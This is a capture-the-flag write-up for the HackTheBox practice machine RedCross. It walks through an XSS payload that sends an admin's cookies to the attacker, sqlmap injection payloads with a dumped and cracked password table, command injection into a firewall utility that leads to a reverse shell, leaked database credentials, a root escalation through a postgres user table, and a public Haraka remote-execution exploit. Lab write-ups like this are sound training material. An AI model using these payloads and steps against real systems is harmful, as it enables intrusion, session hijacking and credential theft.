This is my write-up for the HackTheBox Machine named RedCross. As usual, a large thanks to the creators of the machine who have put a lot of effort into it, and allowed me and many others to learn a tremendous amount.

Let's get straight into it!

A quick top 10000 TCP port scan reveals the following ports as open:

# nmap
Starting Nmap 7.70 ( ) at 2018-11-14 13:51 AEDT
Nmap scan report for intra.redcross.htb (
Host is up (0.37s latency).
Not shown: 997 filtered ports
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

As we have a HTTPS server running, we can use sslscan to extract any domain names used in the ssl certificate:

# sslscan
Version: 1.11.12-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Connected to

Testing SSL server on port 443 using SNI name


  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  intra.redcross.htb
Issuer:   intra.redcross.htb

Not valid before: Jun  3 19:46:58 2018 GMT
Not valid after:  Feb 27 19:46:58 2021 GMT

Great! We can now add intra.redcross.htb to our /etc/hosts file and map it to Next, we can visit the webpage and see what we find:


Here, we see a login page, and a link to a contact form. Immediately, we can think of trying SQL injection in the login form or trying to guess usernames and passwords. But that would be too easy, so let's look around a bit more. This is the page that the contact form link goes to:


Here, we see a form which apparently allows us to contact the administrator of the redcross website. We also notice that the footer of the website says Web messaging system 0.3b. The most likely vulnerability in a page like this is a Cross Site Scripting (XSS) vulnerability, where if the administrator views our submitted messages, we may be able to steal their session token.

So let's try submitting the following XSS payload in all the fields in the contact form (including request title, details, and contact phone):

<img src=x onerror=this.src=''+document.cookie>

Note that my allocated IP address in the hackthebox network is, and we are using an image tag to make a request to port 8081 on my machine with any cookies found in the browser's cookie jar. Only cookies without the httpOnly flag can be retrieved using this attack.

After a few tries, we notice that if we submit a XSS payload in the details field, the website complains that we are trying to "do something nasty". However, if we only include the payload in the contact phone field, the website doesn't complain.
After a few seconds, we see a cookie sent to us from the RedCross machine!

# python -m SimpleHTTPServer 8081
Serving HTTP on port 8081 ... - - [12/Nov/2018 00:05:08] "GET /?c=PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5;%20LANG=EN_US;%20SINCE=1541941507;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 200 -

Thus, it is likely the case that there is a script running on the RedCross server which is opening our messages in a browser where the user is logged in as admin.

Great! So we have 5 different cookies that are in the admin's cookie jar including PHPSESSID, LANG, SINCE, LIMIT and DOMAIN. Now, let's use admin's cookie of PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5 and see if we are logged in as admin. Note that I used the Cookie Editor Firefox cookie manager to edit my cookies, and just add the one PHPSESSID cookie for now:


Interesting! Straight away, we are logged in as admin, and we see an interesting error: DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1

Another thing we notice is that two of the cookies seem to have names that are also related to SQL queries i.e. SINCE and LIMIT. So we add these cookies to our own browser's cookie jar and reload the page:


Here, we see one input field, and entering a UserID of 1 leads us to the following page: https://intra.redcross.htb/?o=1&page=app

OK so now we know that there is an SQL query being performed, and the database is likely to be MariaDB. Let's setup a request for SQLMap:

# cat sqlquery2 
GET /?o=1&page=app HTTP/1.1
Host: intra.redcross.htb
Accept-Encoding: gzip, deflate
Referer: https://intra.redcross.htb/?page=app
Cookie: PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5; SINCE=1541941507; LIMIT=10; DOMAIN=admin
Connection: close
Upgrade-Insecure-Requests: 1

Running SQLMap with this request tells us that we have found SQL injection! Specifically, we find it using the o parameter:

# sqlmap -r sqlquery2 -p o

GET parameter 'o' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 372 HTTP(s) requests:
Parameter: o (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: o=1') RLIKE (SELECT (CASE WHEN (1376=1376) THEN 1 ELSE 0x28 END))-- wPRJ&page=app

    Type: error-based
    Payload: o=1') AND (SELECT 5668 FROM(SELECT COUNT(*),CONCAT(0x7176707671,(SELECT (ELT(5668=5668,1))),0x7171706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xTXu&page=app

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: o=1') AND SLEEP(5)-- qNHG&page=app
[14:40:53] [INFO] the back-end DBMS is MySQL

Unfortunately, trying SQLMap's --os-shell flag didn't work, likely because the database server does not have rights to write a file on the server. So we look for sensitive data in the database instead. We find that the main database is called redcross, and it has a table named users. We dump this table as follows:

# sqlmap -r sqlquery2 -D redcross -T users --dump

| id | role | mail                         | username | password                                                     |
| 1  | 0    | [email protected]           | admin    | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. |
| 2  | 1    | [email protected]        | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS |
| 3  | 1    | [email protected]         | charles  | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i |
| 4  | 100  | [email protected] | tricia   | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. |
| 5  | 1000 | [email protected]                | guest    | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi |

We then crack the hashes we find above as follows:

# john hashes --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (bcrypt [Blowfish 32/64 X2])
cookiemonster    (?)
guest            (?)
alexss           (?)

Great! We now have the credentials charles:cookiemonster and Penelope:alexss.

I can now login to the https://intra.redcross.htb/ website with either of these credentials, but I do not find much of interest. After a while of aimless wandering, I decided to actually read the messages the users of the application were sending to each other. Logging in as Charles, I see the following messages:


The admin, Charles and Penelope seem to be discussing pop-ups on an admin webpanel. This likely refers to our XSS vulnerability we found earlier, and many exploits using the alert() function to create pop-ups.

Maybe these discussions are hinting that we also have to access the admin webpanel where we can see the messages sent in the original Contact form.

Here, I could have used a subdomain brute forcing tool with a wordlist to find subdomains, but I ended up just guessing the first thing that popped into my head and it worked: I was able to access a new website at https://admin.redcross.htb which showed the following screen:


Interesting! We now have another login page!

Unfortunately, trying Penelope's or Charles' credentials on this login page did not work, and returned the error Not enough privileges. Additionally, we were unable to crack the admin user's hash from the database. However, I remembered that we received the admin user's PHPSESSID only because they had viewed our XSS payload from the admin panel. So, we set the PHPSESSID cookie again to the same value as the one we used for the intra website, and are greeted with the following screen:


Now that we are logged in to the admin panel, we look around at what functionality we have. The first link is for user management, where we can seemingly add users to the host hosting the web server. The second link is for managing firewall rules on the host.

Testing out the "add a user" functionality, we create a test user, and are provided with a password of BQD0xwJS. Likely, this is a randomly generated password. However, where can we use these credentials? Knowing that we already have administrative logins on both the intra and admin subdomains, our next option would be to test out whether these credentials work when logging in with SSH:

# ssh [email protected]
$ id
uid=2024 gid=1001(associates) groups=1001(associates)
$ pwd
$ ls -al
total 12
drwxr-xr-x 2 root     root       4096 Jun 10 21:35 .
drwxrwxr-x 3 root     associates 4096 Jun  8 11:11 ..
-rw-r--r-- 1 penelope       1000 2666 Jun 10 22:39 iptctl.c

We successfully login as our test user! However, we find that we do not have permissions to do much at all on the server. We seem to be in some kind of restricted shell. We don't find many useful things using this shell, although, we are able to read a world readable file named ipctl.c in the /home/public/src folder. Looking inside this file, we see code that looks like it is used for adding and deleting iptables rules:

$ cat iptctl.c
 * Small utility to manage iptables, easily executable from admin.redcross.htb
 * v0.1 - allow and restrict mode
 * v0.3 - added check method and interactive mode (still testing!)


int isValidAction(char *action){
	int a=0;
	char value[10];
	if(strstr(value,"allow")) a=1;
	if(strstr(value,"restrict")) a=2;
	if(strstr(value,"show")) a=3;
	return a;

void cmdAR(char **a, char *action, char *ip){


	puts("DEBUG: All checks passed... Executing iptables");
	if(isAction==1) cmdAR(args,"-A",inputAddress);
	if(isAction==2) cmdAR(args,"-D",inputAddress);
	if(isAction==3) cmdShow(args);
		execvp(args[0],args); // /sbin/tables is the file, and args are the args
		if(isAction==1) printf("Network access granted to %s\n",inputAddress);
		if(isAction==2) printf("Network access restricted to %s\n",inputAddress);
		if(isAction==3) puts("ERR: Function not available!\n");

This looks interesting! Maybe this source code is for network management functionality provided in the admin panel! Testing out the functionality provided to us on the firewall management page on admin.redcross.htb, we see the following request being sent to the server when adding a new IP:

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
Accept-Encoding: gzip, deflate
Referer: https://admin.redcross.htb/?page=firewall
Content-Length: 26
Cookie: PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5
Connection: close
Upgrade-Insecure-Requests: 1


The possible vulnerabilities I could think of here would either be a buffer overflow due to the uses of strcpy in the C script, or an OS command injection vulnerability due to the arguments being passed into the execvp function.

After some trial and error, I was able to get OS command injection working with the ip parameter and using an action of deny:

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
Accept-Encoding: gzip, deflate
Referer: https://admin.redcross.htb/?page=firewall
Cookie: PHPSESSID=b01tmdbt5sea98jcf7ojmchpq5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 42


In the above OS command injection, we use && to execute another command after /sbin/iptables.

Now that we have OS command injection, we can try escalate to a proper reverse shell. The following is code for a python reverse shell where our attacker IP is


HTML encoding the above and sending it in the POST request gave us a reverse shell:

# nc -nvlp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 55922
bash: cannot set terminal process group (787): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/html/admin/pages$ id

Woot! This time we have a non-restricted shell. Looking for the user flag, I find /home/penelope/user.txt exists, however I cannot open the file as it is owned by penelope and not world readable. Looking at other interesting files, I see a lot of passwords in the PHP files used for the admin panel:

[email protected]:/var/www/html/admin/pages$ grep password * -Hn
actions.php:32:	$sql=$mysqli->prepare("SELECT id, password, mail, role FROM users WHERE username = ?");
actions.php:44:	if(password_verify($pass,$hash) and $role==0){
actions.php:66:	} else if(password_verify($pass,$hash)){
actions.php:95:	$dbconn = pg_connect("host= dbname=redcross user=www password=aXwrtUO9_aa&");
actions.php:118:	$dbconn = pg_connect("host= dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
login.php:7:echo "Password";
users.php:7:	$dbconn = pg_connect("host= dbname=unix user=unixnss [email protected]");

It looks like the admin panel uses a postgres database running on localhost. There is a database with the name redcross, and another named unix. We also now have the credentials www:aXwrtUO9_aa&, unixusrmgr:dheu%7wjx8B& and unixnss:[email protected].

The database name of unix and the username of unixusrmgr look really odd. Thinking about this a little bit, we also remember that we were able to add unix users directly from the admin panel, which we were then able to use to SSH onto the host. Could these unix users be added using a table in a postgres database?

A little bit of googling told me that this was absolutely possible:

Wolverine's blog tells us that this can be achieved with a postgres plugin named libnss-pgsql2. Additionally, it mentions that this plugin uses two main configuration files: /etc/nss-pgsql.conf and /etc/nss-pgsql-root.conf. Looking for these files, we find that they do exist on our host!

[email protected]:/etc$ ls -al nss-*
-rw-rw---- 1 root root  540 Jun  8  2018 nss-pgsql-root.conf
-rw-r--r-- 1 root root 1341 Jun  8  2018 nss-pgsql.conf

This pretty much confirms the use of the libnss-pgsql2 plugin for managing unix users! Let's try looking inside the unix database and see what we can find. We can use the psql client to talk with postgres. Additionally, from the nss-pgsql.conf file and Wolverine's blog, we note that there is a table in the database named passwd_table:

[email protected]:/etc$ psql -h -U unixusrmgr -d unix
Password for user unixusrmgr: dheu%7wjx8B&

SELECT * FROM passwd_table;
          username           |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
 tricia                      | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
 test                        | $1$SQgibi6P$.J1YanvF28BzE1LrO1LIY. | 2021 | 1001 |       | /var/jail/home | /bin/bash
(2 rows)

Interesting! We see our test user exists in this table, and that it has a homedir of /var/jail/home.

With the permissions of unixusrmgr, let's see if I can add a user to this table and give them a uid or gid of 0:

INSERT INTO passwd_table VALUES ('dev', '$1$xyz$cEUv8aN9ehjhMXG/kSFnM1', 2023, 0, '', '/', '/bin/bash');
ERROR:  permission denied for relation passwd_table

Unfortunately I could not specify the uid of the user I added, but after looking through actions.php, I found that, as unixusrmgr, I did have permissions to fill in the username, passwd, gid and homedir fields. The easiest way I could think of to use this to get root was to simply set the gid of my new user to the ID of the sudo group, which would give me the permissions to sudo to root.

We find the ID of the sudo group as follows:

[email protected]:/$ cat /etc/group | grep sudo

Next, we can run the following query (after logging in to psql as unixusrmgr) to add a user with the gid of 27:

insert into passwd_table (username, passwd, gid, homedir) values ('dev', '$1$xyz$cEUv8aN9ehjhMXG/kSFnM1', 27, '/');

Success! Note that I generated the passwd hash of the user using openssl passwd -1 -salt xyz password. Therefore, the above crypt hash is for the password of password. Now I can try SSH in as my new user:

# ssh [email protected]
[email protected]'s password: 

[email protected]:/$ id
uid=2032(dev) gid=27(sudo) groups=27(sudo)

Great! Looks like our user was successfully added and we are in the sudo group! Now we simply sudo su, enter the password of password, and get root.txt:

[email protected]:/$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dev: 
[email protected]:/# id
[email protected]:/# cat ~/root.txt 

DONE! What an interesting route to root!

Extra Notes

Looking around with our www-data shell, we also see a folder named haraka in penelope's home directory which stands out. Searching for processes with this name we find:

[email protected]:/var/www/html/admin/pages$ ps aux | grep haraka
penelope  1306  0.2  4.4 994300 45060 ?        Ssl  10:54   0:01 node /usr/bin/haraka -c /home/penelope/haraka
www-data  5395  0.0  0.0  11112   916 ?        S    11:04   0:00 grep haraka

We note that the haraka process runs as the user penelope, so if we compromised the process, we would get the privileges of penelope. Doing a little googling, I found out that haraka is actually a webmail / SMTP server. To confirm it's listening, we can try look at open ports on the host. Unfortunately, the host did not have netstat, but as it is debian, we have an alternative called ss:

[email protected]:/var/www/html/admin/pages$ netstat -ntlp
bash: netstat: command not found
[email protected]:/var/www/html/admin/pages$ ss -ntlp
State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              
LISTEN     0      32           *:21                       *:*                  
LISTEN     0      128          *:22                       *:*                  
LISTEN     0      128          *:5432                     *:*                  
LISTEN     0      80                     *:*                  
LISTEN     0      128         :::80                      :::*                  
LISTEN     0      128         :::22                      :::*                  
LISTEN     0      128         :::5432                    :::*                  
LISTEN     0      128         :::443                     :::*                  
LISTEN     0      128         :::1025                    :::*

Interestingly, we don't see any server running on port 25, which is the default for Haraka and SMTP based services, but we do see that something is listening on port 1025. We telnet to this port to check it out:

[email protected]:/var/www/html/admin/pages$ telnet 1025
telnet 1025
Connected to
Escape character is '^]'.
220 redcross ESMTP Haraka 2.8.8 ready

Great! Looks like Haraka version 2.8.8 is running on this port!

We also find an exploit for this version using searchsploit:

# searchsploit haraka 2.8.
 Exploit Title                                                                    |  Path
                                                                                  | (/usr/share/exploitdb/)
Haraka < 2.8.9 - Remote Command Execution                                         | exploits/linux/remote/

The file is a python script which takes in parameters for the mail server you are exploiting and the command you want to execute. It should be noted that the port of the server is specified in the script itself, so we need to change it from 25 to 1025. Then, we can use a simple python reverse shell with this exploit to get a shell as penelope. Simply download and onto the host and execute the following:

[email protected]:/var/www/html/admin/pages$ python -c "python /tmp/" -t [email protected] -m

And that's how we can get a shell as penelope!

Moving on: let's say we have a scenario where we cannot add ourselves to the sudo group, but can add ourselves to the root group. Here, an interesting scenario arises. Being in the root group means that we can read the secret /etc/nss-pgsql-root.conf file!

[email protected]:/etc$ cat nss-pgsql-root.conf
shadowconnectionstring = hostaddr= dbname=unix user=unixnssroot password=30jdsklj4d_3 connect_timeout=1
shadowbyname = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE username = $1 ORDER BY lastchange DESC LIMIT 1;
shadow = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE (username,lastchange) IN (SELECT username, MAX(lastchange) FROM shadow_table GROUP BY username);

And now we have the root NSS credentials unixnssroot:30jdsklj4d_3! With this, we should be able to edit the uid field in the database too, however I'm not sure what happens when I add another user with the same uid as root. Thoughts will be had...

Finally, I noticed the following python script in root's folder which was the script that actually opened a browser and executed the XSS payloads we send to the admin panel:

[email protected]:~/bin# cat 

def launchXSS(xss):
    randomname=''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase+string.digits) for _ in range(8))

The script uses phantomjs to execute a headless browser which executes JavaScript.

Thanks to @ompamo for this awesome box!

Hope you enjoyed the write-up!

Live and Learn!